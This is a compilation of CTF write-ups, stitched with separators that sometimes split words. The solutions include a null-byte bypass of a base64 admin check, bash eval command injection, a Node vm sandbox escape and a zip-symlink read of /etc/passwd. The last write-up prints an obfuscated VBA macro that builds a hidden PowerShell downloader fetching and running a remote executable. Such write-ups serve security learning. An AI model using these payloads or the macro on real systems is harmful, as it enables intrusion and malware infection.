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3 = "Zz1U"f4 = "SEN"f5 = "PTntz"f6 = "b01V"f7 = "Q0h"f8 = "fNF90a"f9 = "DNf"f10 = "RklM"f11 = "RV9z"f12 = "aVozf"f13 = "Q=="```
- base64 encoded flag```ZmxhZz1USENPTntzb01VQ0hfNF90aDNfRklMRV9zaVozfQ==```
- base64 decoded```flag=THCON{soMUCH_4_th3_FILE_siZ3}```
### flag : THCON{soMUCH_4_th3_FILE_siZ3} |
# SpaceNotes - THCON 2024
## Challenge
## Understanding the challenge
### Looking at the webpage
```chall.ctf.thcon.party:port/?username=base64encoded-string```- We have to retrive admin user notes.- Directly accessing through admin base64 encoded string gives an error maybe there are some checks running.- Now we will look at the index.php file attached to the ctf.
### Looking at the useful code
```if (isset($_GET["username"])) { $encodedUsername = str_replace("=", "", $_GET["username"]);
// Username is not admin if ($encodedUsername === "YWRtaW4") { $decodedUsername = ""; } else { $decodedUsername = base64_decode($encodedUsername);
// Check if the username contains only alphanumeric characters and underscores if (!preg_match('/^[a-zA-Z0-9_]+$/', $decodedUsername)) { $decodedUsername = ""; } }}``````
< |
h1>? Welcome admin! ?</h1> ```
- In the first code block there are some checks 1. It first removes '=' from the base64 encoded strings. 2. Then it checks if the encoded string is strictly equal to 'YWRtaW4' (admin). 3. If it is equal it changes the decoded username to blank space which will give error. 4. If it is not equal it decodes the base64 and matches that username only contains a-z,A-Z,0-9 and _ . 5. If it contains other than those given things decoded username becomes blank.
- In the second code block 1. If the decoded username is strictly equal to admin then it runs 'flagmessage' function. 2. 'flagmessage' function only pulls the contents of flag.txt file.
## Solution- To bypass the checks add the null byte '%00' at the end of base64 username. 1. By adding the null byte the encodedusername will not be strictly equal to 'YWRtaW4' which bypasses first condition. 2. When it is decoded from base64 it |
removes null byte character and the username becomes admin. 3. This satisfy the condition in 2nd code block and i got the flag.
#### Note:- The SpaceNotes and base64custom challange dont have good quality images because i was away from my laptop and i was only using my tab so most of the procedures in both the challanges are bit lengthy because i was doing all the things manually. (on paper) |
"Employee Evaluation"
In this challenge, we're presented with a script prompting us for input.
/-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-\ | | | SwampCo Employee Evaluation Script™ | | | | Using a new, robust, and blazingly | | fast BASH workflow, lookup of your | | best employee score is easier than | | ever--all from the safe comfort of | | a familiar shell environment | | | \-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-/
To start, enter the employee's name...
From this, it's evident that the target software is written in bash. Keeping that in mind, let's check if inputs are sanitized by entering the `$` symbol ( |
which is used for string substitution in bash):
... To start, enter the employee's name... $ /app/run: line 44: ${employee_$_score}: bad substitution
Now we have some idea of what's going on here: somewhere within the target software, there's a statement something along the lines of
eval " if [ -n \"\${employee_${name}_score}\" ]; then echo \"Employee "'${name}'" score: \$employee_${name}_score\" else echo \"Employee not found. Please consult your records.\" fi "
Looking at the substitutions, it's clear that user input is not properly sanitized before being `eval`-d. From here, all we have to do is escape the substitution to inject our own commands. Let's start by printing the environment variables:
... To start, enter the employee's name... ?$(printenv -0) /app/run: line 44: warning: command substitution: ignored null byte in input /app/run: line 44: employee_: [...] ____secret_never_reveal_pl |
s_thx__=swampCTF{eva1_c4t_pr0c_3nvir0n_2942} [...]
And there's our flag!**swampCTF{eva1_c4t_pr0c_3nvir0n_2942}** |
"Reptilian Server"
For this challenge, we're presented with a target host and a `server.js` file:
const vm = require('node:vm'); const net = require('net');
// Get the port from the environment variable (default to 3000) const PORT = process.env.PORT || 3000;
// Create a TCP server const server = net.createServer((sock) => { console.log('Client connected!'); sock.write(`Welcome to the ReptilianRealm! Please wait while we setup the virtual environment.\n`);
const box = vm.createContext(Object.create({ console: { log: (output) => { sock.write(output + '\n'); } }, eval: (x) => eval(x) }));
sock.write(`Environment created, have fun playing with the environment!\n`);
sock.on('data', (data) => { const c = data.toString().trim();
if (c.indexOf(' ') |
>= 0 || c.length > 60) { sock.write("Intruder Alert! Removing unwelcomed spy from centeralized computing center!"); sock.end(); return; }
try { const s = new vm.Script(c); s.runInContext(box, s); } catch (e) { sock.write(`Error executing command: ${e.message} \n`); } });
sock.on('end', () => { console.log('Client disconnected!'); }); });
// Handle server errors server.on('error', (e) => { console.error('Server error:', e); });
// Start the server listening on correct port. server.listen(PORT, () => { console.log(`Server listening on port ${PORT}`); });
By looking through this source, we can see that it's using nodejs' native `vm` package to sandbox the commands we send over the network.
However, it's extremely important to note that this is not |
a secure vm, as stated on nodejs' official documentation.
The `vm` module simply separates the context of our new invoked code from the `server.js` application's code, and doesn't prevent child code from accessing parent constructors.
As such, we can escape the vm and run code in the `server.js` context by calling into our vm's constructor:
this.constructor.constructor("return SOMETHINGHERE")()
Let's send the exploit with a test payload, dumping the vm's `process.argv`!
Welcome to the ReptilianRealm! Please wait while we setup the virtual environment. Environment created, have fun playing with the environment!
c = this.constructor.constructor("return process.argv") console.log(c())
Intruder Alert! Removing unwelcomed spy from centeralized computing center!
Looks like we're missing something. As it turns out, there are two checks run on the commands we send:
Command length must be less than or equal to 60 characters. Command must not contain spaces.
... if |
(c.indexOf(' ') >= 0 || c.length > 60) { sock.write("Intruder Alert! Removing unwelcomed spy from centeralized computing center!"); sock.end(); return;} ...
This is a problem for our exploit, since there's a space in the parent constructor's argument. However, there are any number of characters that nodejs will recognize as a space delimiter, one of which is `0xa0`. Let's try embedding this character in place of regular spaces in our exploit, and as a bonus, splitting up our payload into lines less than 60 characters.
Welcome to the ReptilianRealm! Please wait while we setup the virtual environment. Environment created, have fun playing with the environment!
c=this.constructor.constructor x="return\xa0process.argv" console.log(c(x)()) /usr/local/bin/node,/server.js,server_max_limit=600,language=Reptilian,version=1.0.0,flag=swampCTF{Unic0d3_ |
F0r_Th3_W1n},shutdown_condition=never
Awesome! There's our flag.**swampCTF{Unic0d3_F0r_Th3_W1n}** |
In this task, we need to find `flag.txt` by uploading the zip via the website.
Since in the task, there's that flag.txt is located in the home folder, it will probably be in `home/<user>/flag.txt`
Although we don't know the user's name, we can still get it. If you're more proficient with Linux, you know that `/etc/passwd` contains all the users. So we can zip a file that is not a pure file or folder, but a symlink to /etc/passwd. With this, the web will then return the file's content to us.
```shln -s "/etc/passwd" linkzip -y payload.zip link # use -y to don't save our /etc/passwd```
We'll get:```---------------link---------------
root:x:0:0:root:/root:/bin/bashdaemon |
:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin |
/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:102:1 |
03:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:103:104::/nonexistent:/usr/sbin/nologinsystemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinsshd:x:105:65534::/run/sshd:/usr/sbin/nologincopenhagen:x:1000:1000::/home/copenhagen:/bin/sh```
In the very last line, we see `copenhagen:x:1000:1000:1000::/home/copenhagen:/bin/sh`, indicating that the cat is named `copenhagen`
We can create symlink again and this time to `/home/copenhagen/flag.txt````shln -s "/home/copenhagen/flag.txt" linkzip -y payload.zip link # use -y to don't save our /etc/pass |
wd```
And we get our dream flag:```utflag{No_Observable_Cats_Were_Harmed}``` |
> Surrounded by an untamed forest and the serene waters of the Primus river, your sole objective is surviving for 24 hours. Yet, survival is far from guaranteed as the area is full of Rattlesnakes, Spiders and Alligators and the weather fluctuates unpredictably, shifting from scorching heat to torrential downpours with each passing hour. Threat is compounded by the existence of a virtual circle which shrinks every minute that passes. Anything caught beyond its bounds, is consumed by flames, leaving only ashes in its wake. As the time sleeps away, you need to prioritise your actions secure your surviving tools. Every decision becomes a matter of life and death. Will you focus on securing a shelter to sleep, protect yourself against the dangers of the wilderness, or seek out means of navigating the Primus’ waters?
Let's take a look at what we have:
// output.txt
```plaintextn = 144595784022187052238125262458 |
2329591099871367042312458818707358430309144187804225191970730541930030908729120335965126660427587835026959531590514635662783827201401207495286173883366461470726043106906312903504675534840623699031500073570495419330189193328883760755744127143975367289678166 |
58337874664379646535347e = 65537c = 151141909052535422474956966497662249436475652455757930337221733623818950815742691857938555690283049671854923507042486621152691639141750846272110797812006956593175238359012281702506328434760204883708223477150860869899067179 |
32813405479321939826364601353394090531331666739056025477042690259429336665430591623215```
The source file contains this:
```pythonimport math
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG
m = bytes_to_long(FLAG)
n = math.prod([getPrime(1024) for _ in range(2**0)])
e = 0x10001
c = pow(m, e, n)
with open('output.txt', 'w') as f:
f.write(f'{n = }\n') f.write(f'{e = }\n') f.write(f'{c = }\n')```
This is an implementation of the RSA algorithm, where we get the |
public key `n` and `e`, and the ciphertext `c`. The security issue lies in the fact that the public key `n` is generated by multiplying one prime number (as $2^0$ = 1), which makes it very easy to factorize the public key `n` into its prime factors, and then decrypt the ciphertext `c` using the private key. Read up on [RSA](https://ctf101.org/cryptography/what-is-rsa/) if you have zero clue what any of this means. We'll use Euler's totient function to decrypt the ciphertext.
### Solution
```pythonfrom Crypto.Util.number import long_to_bytesfrom sympy import factorint
n = 14459578402218705223812526245823295910998713670423124588187073584303091441878042251 |
9197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
e = 65537
c = 15114190905253542 |
2474956966497662249436475652455757930337221733623818950815742691857938555690283049671854923507042486621152691639141750846272110797812006956593175238359012281702506328434760204883708223477150860869899067179328134054793219398263646013533940905313316667390560 |
25477042690259429336665430591623215
# Factor n into p and qfactors = factorint(n)
p = next(iter(factors.keys()))q = next(iter(factors.keys()))
# calculating the private exponent dphi = (p - 1) * (q - 1)d = pow(e, -1, phi)
# decrypting ciphertext c using private exponent
m = pow(c, d, n)
# decoding the flag to utf-8flag = long_to_bytes(m)print(flag.decode())```
And the flag is:
```textHTB{0h_d4mn_4ny7h1ng_r41s3d_t0_0_1s_1!!!}``` |
```Welcome to The Fray. This is a warm-up to test if you have what it takes to tackle the challenges of the realm. Are you brave enough?```
### Setup
```soliditypragma solidity 0.8.23;
import {RussianRoulette} from "./RussianRoulette.sol";
contract Setup { RussianRoulette public immutable TARGET;
constructor() payable { TARGET = new RussianRoulette{value: 10 ether}(); }
function isSolved() public view returns (bool) { return address(TARGET).balance == 0; }}```
This Setup.sol sends 10 ether to the `RussianRoulette.sol` contract, and it has an `isSolved()` function that returns a bool if the `RussianRoulette` contract is 0. Here's `RussianRoulette.sol`.
```soliditypragma solidity 0.8.23;
contract RussianRoulette {
constructor() payable { // |
i need more bullets }
function pullTrigger() public returns (string memory) { if (uint256(blockhash(block.number - 1)) % 10 == 7) { selfdestruct(payable(msg.sender)); // ? } else { return "im SAFU ... for now"; } }}```
In the `RussianRoulette` contract, it has a `pullTrigger` function that returns a string, and if the blockhash of the previous block is divisible by 10 and the remainder is 7, it self-destructs. When a contract self-destructs, it sends all of its remaining balance to the caller (which is us in this case), and because the `isSolved` function checks if the balance is 0, we can just keep pulling the trigger until it triggers `selfdestruct`, and then we can get the flag. Here's a solution using plain Python
---
### Solution
```pythonfrom web3 import Web3from pwn import remote
# inline ABI's (who would've known this was possible)setup_abi = [ {"input |
s": [], "stateMutability": "payable", "type": "constructor"}, {"inputs": [], "name": "TARGET", "outputs": [{"internalType": "contract RussianRoulette", "name": "", "type": "address"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "isSolved", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutability": "view", "type": "function"}]
rr_abi = [ {"inputs": [], "stateMutability": "payable", "type": "constructor"}, {"inputs": [], "name": "pullTrigger", "outputs": [{"internalType": "string", "name": "", "type": "string"}], "stateMutability": "nonpayable", "type": "function"}]
def getAddressAndConnectToRPC(): global HOST, RPC_PORT, SEND_PORT, w3 HOST = '94.237.57.59' |
RPC_PORT = 45549 SEND_PORT = 34083 r = remote(HOST, SEND_PORT) r.recvline() r.sendline(b'1') contents = r.recvall().strip().decode() r.close() replacements = [ "2 - Restart Instance", "3 - Get flag", "action?", "Private key", "Address", "Target contract", ":", "Setup contract", " " ] for item in replacements: contents = contents.replace(item, "") contents = contents.strip() lines = contents.splitlines() global private_key, address, target_contract, setup_contract private_key = lines[0] address = lines[1] target_contract = lines[2] setup_contract = lines[3]
# call the function to get the variablesgetAddressAndConnectToRPC()
# connecting to ethereumrpc_url = 'http://{}:{}'.format(HOST, RPC_PORT)web3 = Web3(Web |
3.HTTPProvider(rpc_url))
# creating the contractssetup_contract = web3.eth.contract(address=setup_contract, abi=setup_abi)russian_roulette_contract = web3.eth.contract(address=target_contract, abi=rr_abi)
# pulling trigger until the contract balance is zerowhile web3.eth.get_balance(target_contract) > 0: tx_hash = russian_roulette_contract.functions.pullTrigger().transact() tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash) print("Trigger pulled. Transaction receipt:", tx_receipt)
print("got the flag!")
# connecting to second remote, getting the flagr = remote(HOST, SEND_PORT)
# recieves the first three lines, couldn't find any more efficient wayfor _ in range(3): r.recvline()
# sending 3 - which maps to "Get flag"r.sendline(b'3')
# rec |
ieves the line containing the flagflag = str(r.recvline().strip().decode()).replace("action?", "").strip()
print(flag)```
And the flag is:
```textHTB{99%_0f_g4mbl3rs_quit_b4_bigwin}``` |
> Weak and starved, you struggle to plod on. Food is a commodity at this stage, but you can’t lose your alertness - to do so would spell death. You realise that to survive you will need a weapon, both to kill and to hunt, but the field is bare of stones. As you drop your body to the floor, something sharp sticks out of the undergrowth and into your thigh. As you grab a hold and pull it out, you realise it’s a long stick; not the finest of weapons, but once sharpened could be the difference between dying of hunger and dying with honour in combat.
Let's take a look at what we've been given.
```plaintext!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB```
The first thing I noticed, is that we can clearly see HTB, and both curly braces in the encrypted flag ourselves, meaning we have an anagram that we need to solve.
```pythonfrom secret import FLAG
flag = FLAG[::-1]
new_flag |
= ''
for i in range(0, len(flag), 3):
new_flag += flag[i+1] new_flag += flag[i+2] new_flag += flag[i]
print(new_flag)```
Here's the solution script:
```pythonencoded_flag = "!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB"
decoded_flag = ''length = len(encoded_flag)
for i in range(0, length, 3): decoded_flag += encoded_flag[i+2] decoded_flag += encoded_flag[i] decoded_flag += encoded_flag[i+1]
original_flag = decoded_flag[::-1]print(original_flag)```
And the flag is:
```textHTB{4_b3tTeR_w3apOn_i5_n3edeD!?!}``` |
## misc / Stop Drop and Roll
> The Fray: The Video Game is one of the greatest hits of the last... well, we don't remember quite how long. Our "computers" these days can't run much more than that, and it has a tendency to get repetitive...
```plaintext===== THE FRAY: THE VIDEO GAME =====Welcome!This video game is very simpleYou are a competitor in The Fray, running the GAUNTLETI will give you one of three scenarios: GORGE, PHREAK or FIREYou have to tell me if I need to STOP, DROP or ROLLIf I tell you there's a GORGE, you send back STOPIf I tell you there's a PHREAK, you send back DROPIf I tell you there's a FIRE, you send back ROLLSometimes, I will send back more than one! Like this: GORGE, FIRE, PHREAKIn this case, you need to send back STOP-ROLL-DROP!Are you ready? (y/n) ```
This challenge is connecting |
to a remote container, giving us strings containing GORGE, PHREAK, and FIRE. We are supposed to send the correct translation, of which GORGE is STOP, PHREAK, is DROP, and FIRE is ROLL.
```pythonfrom pwn import *
r = remote('94.237.62.240', 45066)
r.recvuntil(b'(y/n) ')
r.sendline(b'y')
r.recvuntil(b'\n')
tries = 0
while True: try: got = r.recvline().decode() payload = got.replace(", ", "-").replace("GORGE", "STOP").replace("PHREAK", "DROP").replace("FIRE", "ROLL").strip()
r.sendlineafter(b'What do you do?', payload.encode()) tries = tries + 1 log.info(f'{tries}: {payload}') except EOFError: log.success(got.strip()) r.close() break```
And |
the flag is:
```textHTB{1_wiLl_sT0p_dR0p_4nD_r0Ll_mY_w4Y_oUt!}``` |
We are given `deals.xlsm` and it has a macro in it.
```vbSub AutoOpen()Dim RetvalDim f As StringDim t53df028c67b2f07f1069866e345c8b85, qe32cd94f940ea527cf84654613d4fb5d, e5b138e644d624905ca8d47c3b8a2cf41, tfd753b886f3bd1f6da1a84488dee93f9, z92ea38976d53e8b557cd5bbc2cd3e0f8, xc6fd40b407cb3aac0d068f54af14362e As Stringxc6fd40b407cb3aac0d068f54af14362e = "$OrA, "If Sheets |
("Sheet2").Range("M62").Value = "Iuzaz/iA" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "$jri);"End IfIf Sheets("Sheet2").Range("G80").Value = "bAcDPl8D" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "Invok"End Ife5b138e644d624905ca8d47c3b8a2cf41 = " = '"If Sheets("Sheet2").Range("P31").Value = "aI3bH4Rd" Thene5b138e644d624905ca8 |
d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "http"End IfIf Sheets("Sheet2").Range("B50").Value = "4L3bnaGQ" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "://f"End IfIf Sheets("Sheet2").Range("B32").Value = "QyycTMPU" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "e-Ite"End IfIf Sheets("Sheet2").Range("K47").Value = "0kIb |
Ovsu" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "m $jri"End IfIf Sheets("Sheet2").Range("B45").Value = "/hRdSmbG" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + ";brea"End IfIf Sheets("Sheet2").Range("D27").Value = "y9hFUyA8" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "ruit"End If |
If Sheets("Sheet2").Range("A91").Value = "De5234dF" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + ".ret3"End IfIf Sheets("Sheet2").Range("I35").Value = "DP7jRT2v" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + ".gan"End IfIf Sheets("Sheet2").Range("W48").Value = "/O/w/o57" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac |
0d068f54af14362e + "k;} c"End IfIf Sheets("Sheet2").Range("R18").Value = "FOtBe4id" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "atch "End IfIf Sheets("Sheet2").Range("W6").Value = "9Vo7IQ+/" Thenxc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "{}"""End IfIf Sheets("Sheet2").Range("U24").Value = "hmDEjcAE" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b |
138e644d624905ca8d47c3b8a2cf41 + "g/ma"End IfIf Sheets("Sheet2").Range("C96").Value = "1eDPj4Rc" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "lwar"End IfIf Sheets("Sheet2").Range("B93").Value = "A72nfg/f" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + ".rds8"End IfIf Sheets("Sheet2").Range("E90").Value = "HP5LRFms" Thene5b138 |
e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "e';$"End Iftfd753b886f3bd1f6da1a84488dee93f9 = "akrz"If Sheets("Sheet2").Range("G39").Value = "MZZ/er++" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "f3zsd"End IfIf Sheets("Sheet2").Range("B93").Value = "ZX42cd+3" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f |
3bd1f6da1a84488dee93f9 + "2832"End IfIf Sheets("Sheet2").Range("I15").Value = "e9x9ME+E" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "0918"End IfIf Sheets("Sheet2").Range("T46").Value = "7b69F2SI" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "2afd"End IfIf Sheets("Sheet2").Range("N25").Value = "Ga/NUmJu" Thene5b138e644d624905ca |
8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "CNTA"End IfIf Sheets("Sheet2").Range("N26").Value = "C1hrOgDr" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + " = '"End IfIf Sheets("Sheet2").Range("C58").Value = "PoX7qGEp" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "banA"End IfIf Sheets("Sheet2").Range("B53").Value = "see |
2d/f" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "Fl0dd"End IfIf Sheets("Sheet2").Range("Q2").Value = "VKVTo5f+" Thene5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "NA-H"End Ift53df028c67b2f07f1069866e345c8b85 = "p"If Sheets("Sheet2").Range("L84").Value = "GSPMnc83" Thent53df028c67b2f07f1069866e3 |
45c8b85 = t53df028c67b2f07f1069866e345c8b85 + "oWe"End IfIf Sheets("Sheet2").Range("H35").Value = "aCxE//3x" Thent53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "ACew"End IfIf Sheets("Sheet2").Range("R95").Value = "uIDW54Re" Thent53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "Rs"End IfIf Sheets("Sheet2").Range("A24").Value = " |
PKRtszin" Thent53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "HELL"End IfIf Sheets("Sheet2").Range("G33").Value = "ccEsz3te" Thent53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "L3c33"End IfIf Sheets("Sheet2").Range("P31").Value = "aI3bH4Rd" Thent53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f10698 |
66e345c8b85 + " -c"End If
If Sheets("Sheet2").Range("Z49").Value = "oKnlcgpo" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "4';$"End IfIf Sheets("Sheet2").Range("F57").Value = "JoTVytPM" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "jri="End IfIf Sheets("Sheet2").Range("M37").Value = "y7MxjsAO" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd7 |
53b886f3bd1f6da1a84488dee93f9 + "$env:"End IfIf Sheets("Sheet2").Range("E20").Value = "ap0EvV5r" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "publ"End Ifz92ea38976d53e8b557cd5bbc2cd3e0f8 = "\'+$"If Sheets("Sheet2").Range("D11").Value = "Q/GXajeM" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "CNTA"End IfIf Sheets("Sheet2").Range(" |
B45").Value = "/hRdSmbG" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "+'.ex"End IfIf Sheets("Sheet2").Range("D85").Value = "y4/6D38p" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "e';tr"End IfIf Sheets("Sheet2").Range("P2").Value = "E45tTsBe" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f |
8 + "4d2dx"End IfIf Sheets("Sheet2").Range("O72").Value = "lD3Ob4eQ" Thentfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "ic+'"End Ifqe32cd94f940ea527cf84654613d4fb5d = "omm"If Sheets("Sheet2").Range("P24").Value = "d/v8oiH9" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "and"End IfIf Sheets("Sheet2").Range("V22").Value = "dI6oBK/K" Thenqe32cd9 |
4f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + " """End IfIf Sheets("Sheet2").Range("G1").Value = "zJ1AdN0x" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "$oa"End IfIf Sheets("Sheet2").Range("Y93").Value = "E/5234dF" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "e$3fn"End IfIf Sheets("Sheet2").Range("A12").Value = |
"X42fc3/=" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "av3ei"End IfIf Sheets("Sheet2").Range("F57").Value = "JoTVytPM" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "K ="End IfIf Sheets("Sheet2").Range("L99").Value = "t8PygQka" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + " ne"End IfIf Sheets(" |
Sheet2").Range("X31").Value = "gGJBD5tp" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "w-o"End IfIf Sheets("Sheet2").Range("C42").Value = "Dq7Pu9Tm" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "bjec"End IfIf Sheets("Sheet2").Range("D22").Value = "X42/=rrE" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654 |
613d4fb5d + "aoX3&i"End IfIf Sheets("Sheet2").Range("T34").Value = "9u2uF9nM" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "t Ne"End IfIf Sheets("Sheet2").Range("G5").Value = "cp+qRR+N" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "t.We"End IfIf Sheets("Sheet2").Range("O17").Value = "Q8z4cV/f" Thenqe32cd94f940ea527cf84654613d4fb5d |
= qe32cd94f940ea527cf84654613d4fb5d + "bCli"End IfIf Sheets("Sheet2").Range("Y50").Value = "OML7UOYq" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "ent;"End IfIf Sheets("Sheet2").Range("P41").Value = "bG9LxJvN" Thenqe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "$OrA"End IfIf Sheets("Sheet2").Range("L58").Value = "qK02fT5b" Thenz92ea38976d |
53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "y{$oa"End IfIf Sheets("Sheet2").Range("P47").Value = "hXelsG2H" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "K.Dow"End IfIf Sheets("Sheet2").Range("A2").Value = "RcPl3722" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "Ry.is"End IfIf Sheets("Sheet2").Range("G64").Value = |
"Kvap5Ma0" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "nload"End IfIf Sheets("Sheet2").Range("H76").Value = "OjgR3YGk" Thenz92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "File("End Iff = t53df028c67b2f07f1069866e345c8b85 + qe32cd94f940ea527cf84654613d4fb5d + e5b138e644d624905ca8d47c3b |
8a2cf41 + tfd753b886f3bd1f6da1a84488dee93f9 + z92ea38976d53e8b557cd5bbc2cd3e0f8 + xc6fd40b407cb3aac0d068f54af14362eRetval = Shell(f, 0)Dim URL As StringURL = "https://www.youtube.com/watch?v=mYiBdMnIT88"ActiveWorkbook.FollowHyperlink URLEnd Sub```
There are some hidden sheets with a lot of random data in the cells. The macro looks like it's checking certain cells and populating different parts of a string. We could trace through the code and check the individual cells and put together the string, but this will take for ever and I am tired. So let's modify the macro to generate the string and assign it's value to a cell. We can change the bottom part of the macro as such ...
```vbf = t53 |
df028c67b2f07f1069866e345c8b85 + qe32cd94f940ea527cf84654613d4fb5d + e5b138e644d624905ca8d47c3b8a2cf41 + tfd753b886f3bd1f6da1a84488dee93f9 + z92ea38976d53e8b557cd5bbc2cd3e0f8 + xc6fd40b407cb3aac0d068f54af14362e
